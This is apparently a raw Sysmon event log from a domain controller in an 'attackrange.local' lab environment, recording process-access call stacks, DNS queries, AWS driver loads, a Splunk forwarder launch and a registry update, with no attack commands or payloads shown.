10341000x80000000000000002385Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002384Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002383Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002382Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002381Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BE-5F80-0C00-000000007F01}604712C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002380Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28BC-5F80-0500-000000007F01}6441148C:\Windows\system32\csrss.exe{A5F018FF-28DD-5F80-7000-000000007F01}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002379Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.340{A5F018FF-28CF-5F80-2F00-000000007F01}25282280C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{A5F018FF-28DD-5F80-7000-000000007F01}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7194|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 154100x80000000000000002378Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:49.173{A5F018FF-28DD-5F80-7000-000000007F01}3748C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe8.0.2Windows Print Monitor splunk ApplicationSplunk Inc.splunk-winprintmon.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunk-winprintmon.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{A5F018FF-28BD-5F80-E703-000000000000}0x3e70SystemMD5=36D3753920C5BBCA16D12DEAD7A3A904,SHA256=EA17F69FB116CFA6ADC3CE07EBBAE3FD2CB221F25E3F7A9ADF3F15DA051831E2,IMPHASH=264D4B9546D98D77D97F569F55A0B748{A5F018FF-28CF-5F80-2F00-000000007F01}2528C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 22542200x80000000000000002394Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.402{A5F018FF-28BF-5F80-1100-000000007F01}1200wpad1460-C:\Windows\System32\svchost.exe 22542200x80000000000000002393Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:48.167{A5F018FF-28CF-5F80-2D00-000000007F01}2780win-dc-17966110fe80::15f7:4ea2:8f9e:67e8;::ffff:10.0.1.14;C:\Windows\ADWS\Microsoft.ActiveDirectory.WebServices.exe 10341000x80000000000000002402Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:53.558{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002401Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:53.558{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002400Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:53.558{A5F018FF-28BD-5F80-0B00-000000007F01}86892C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 644600x80000000000000002399Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:15.935C:\Windows\System32\drivers\xenvbd.sysMD5=8278E2B5383D2F5ED2583AC10E68E82C,SHA256=31DC4BF6BD29D3AED3588FE5A843BBD6EB6FF9D835555F7107768BA5F4E4326D,IMPHASH=B32CBE28AF26D0BACA98C88509F8A67CtrueAmazon Web Services, Inc.Valid 644600x80000000000000002398Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.856C:\Windows\System32\drivers\xenvbd.sysMD5=8278E2B5383D2F5ED2583AC10E68E82C,SHA256=31DC4BF6BD29D3AED3588FE5A843BBD6EB6FF9D835555F7107768BA5F4E4326D,IMPHASH=B32CBE28AF26D0BACA98C88509F8A67CtrueAmazon Web Services, Inc.Valid 644600x80000000000000002397Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:15.919C:\Windows\System32\drivers\xencrsh.sysMD5=8498E8240422067AF19398BA0C9E71BD,SHA256=8763BD78E6D2A5C4974EE2C917069C212FA6B5E138B1DFAF3D923EC7BDA8CCE0,IMPHASH=5A51E368D0D191BA922C89AD12551EF4trueAmazon Web Services, Inc.Valid 22542200x80000000000000002396Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:51.340{A5F018FF-28BF-5F80-1300-000000007F01}1264_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.1460-C:\Windows\System32\svchost.exe 22542200x80000000000000002395Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:51.340{A5F018FF-28BD-5F80-0B00-000000007F01}868_ldap._tcp.Default-First-Site-Name._sites.dc._msdcs.attackrange.local.1460-C:\Windows\System32\lsass.exe 10341000x80000000000000002408Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:58.980{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-2C00-000000007F01}2744C:\Windows\system32\dns.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\kerberos.DLL+96fe2|C:\Windows\system32\kerberos.DLL+794d4|C:\Windows\system32\kerberos.DLL+144c9|C:\Windows\system32\lsasrv.dll+2e101|C:\Windows\system32\lsasrv.dll+2c2c4|C:\Windows\system32\lsasrv.dll+31375|C:\Windows\system32\lsasrv.dll+2f20b|C:\Windows\system32\lsasrv.dll+2e101|C:\Windows\system32\lsasrv.dll+16cdd|C:\Windows\SYSTEM32\SspiSrv.dll+1a96|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be 10341000x80000000000000002407Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:58.902{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-2C00-000000007F01}2744C:\Windows\system32\dns.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+25d17|C:\Windows\system32\lsasrv.dll+26ded|C:\Windows\system32\lsasrv.dll+25b95|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002406Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:58.902{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28CF-5F80-2C00-000000007F01}2744C:\Windows\system32\dns.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\System32\RPCRT4.dll+112df|C:\Windows\system32\lsasrv.dll+25add|C:\Windows\SYSTEM32\SspiSrv.dll+11a2|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002405Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:58.589{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1e0a8|C:\Windows\system32\lsasrv.dll+1d2d1|C:\Windows\system32\lsasrv.dll+1bb00|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002404Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:58.589{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+11c6e|C:\Windows\system32\lsasrv.dll+1a4e6|C:\Windows\system32\lsasrv.dll+1ba8f|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002403Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:58.589{A5F018FF-28BD-5F80-0B00-000000007F01}868108C:\Windows\system32\lsass.exe{A5F018FF-28BF-5F80-1300-000000007F01}1264C:\Windows\system32\svchost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\system32\lsasrv.dll+1b05d|C:\Windows\system32\lsasrv.dll+2810b|C:\Windows\SYSTEM32\SspiSrv.dll+1467|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 13241300x80000000000000002466Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-SetValue2020-10-09 09:09:59.636{A5F018FF-28BF-5F80-1100-000000007F01}1200C:\Windows\system32\svchost.exeHKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Profiles\{9DB6B37C-4A8E-4D53-B82A-C1D9DE1D424C}\DateLastConnectedBinary Data 644600x80000000000000002465Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.856C:\Windows\System32\drivers\xencrsh.sysMD5=8498E8240422067AF19398BA0C9E71BD,SHA256=8763BD78E6D2A5C4974EE2C917069C212FA6B5E138B1DFAF3D923EC7BDA8CCE0,IMPHASH=5A51E368D0D191BA922C89AD12551EF4trueAmazon Web Services, Inc.Valid 644600x80000000000000002464Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.263C:\Windows\System32\drivers\xennet.sysMD5=7E6757CF81A305710B036475BCEDBC30,SHA256=9A5D7EAC527B6CDEC891C4A5C49FAF8599A1714078960DB87A7D72B0888A8987,IMPHASH=73F39C491797C6F3DFFBBE92FB638F34trueAmazon Web Services, Inc.Valid 10341000x80000000000000002463Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.558{A5F018FF-28BF-5F80-1300-000000007F01}12642272C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7600-000000007F01}4216C:\Windows\system32\WinrsHost.exe0x40C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\system32\winrscmd.dll+8d36|C:\Windows\system32\winrscmd.dll+92d5|C:\Windows\system32\winrscmd.dll+af31|C:\Windows\system32\winrscmd.dll+23dc|c:\windows\system32\wsmsvc.dll+155ac7|c:\windows\system32\wsmsvc.dll+13f76d|c:\windows\system32\wsmsvc.dll+13f3cf|c:\windows\system32\wsmsvc.dll+13fcb2|c:\windows\system32\wsmsvc.dll+9ab10|c:\windows\system32\wsmsvc.dll+9b611|c:\windows\system32\wsmsvc.dll+4495|c:\windows\system32\wsmsvc.dll+16816c|c:\windows\system32\wsmsvc.dll+1689b8|c:\windows\system32\wsmsvc.dll+16345b|c:\windows\system32\wsmsvc.dll+163125|c:\windows\system32\wsmsvc.dll+14ce9c|c:\windows\system32\wsmsvc.dll+130049|c:\windows\system32\wsmsvc.dll+13571a|c:\windows\system32\wsmsvc.dll+12f47e|c:\windows\system32\wsmsvc.dll+125587|c:\windows\system32\wsmsvc.dll+11f562|c:\windows\system32\wsmsvc.dll+124574 644600x80000000000000002462Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.185C:\Windows\System32\drivers\xeniface.sysMD5=F1A750612F0ED79D435FA3D149331D69,SHA256=7416108B01624EBC62D5E200818D2A0AD08B8B87D13F65FDA716F7E7358C1CB1,IMPHASH=B7B4CB7750B42CE3E3BD994E129A5D9AtrueAmazon Web Services, Inc.Valid 10341000x80000000000000002461Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.543{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28E7-5F80-7600-000000007F01}4216C:\Windows\system32\WinrsHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5296|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+43e3b|C:\Windows\System32\RPCRT4.dll+46a2a|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 644600x80000000000000002460Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:16.185C:\Windows\System32\drivers\xenvif.sysMD5=E7C0450691E0B3D00FC15E823FFEB779,SHA256=5C0755A4E1F4FFD7B4A442CF5E3A8CF7F0C69B1CAA2B11C67596D77E166CA419,IMPHASH=C119D28B8420C26CE25D996F6D25FD88trueAmazon Web Services, Inc.Valid 10341000x80000000000000002459Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.543{A5F018FF-28E7-5F80-7700-000000007F01}42284248C:\Windows\system32\conhost.exe{A5F018FF-28E7-5F80-7600-000000007F01}4216C:\Windows\system32\WinrsHost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\SYSTEM32\ConhostV2.dll+5c07|C:\Windows\SYSTEM32\ConhostV2.dll+76ab|C:\Windows\SYSTEM32\ConhostV2.dll+a84c|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000002458Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:59.527{A5F018FF-28BC-5F80-0500-000000007F01}6442396C:\Windows\system32\csrss.exe{A5F018FF-28E7-5F80-7700-000000007F01}4228C:\Windows\system32\conhost.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6a54|C:\Windows\SYSTEM32\CSRSRV.dll+1a30|C:\Windows\SYSTEM32\CSRSRV.dll+5c09|C:\Windows\SYSTEM32\ntdll.dll+6e87f 10341000x80000000000000002457Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 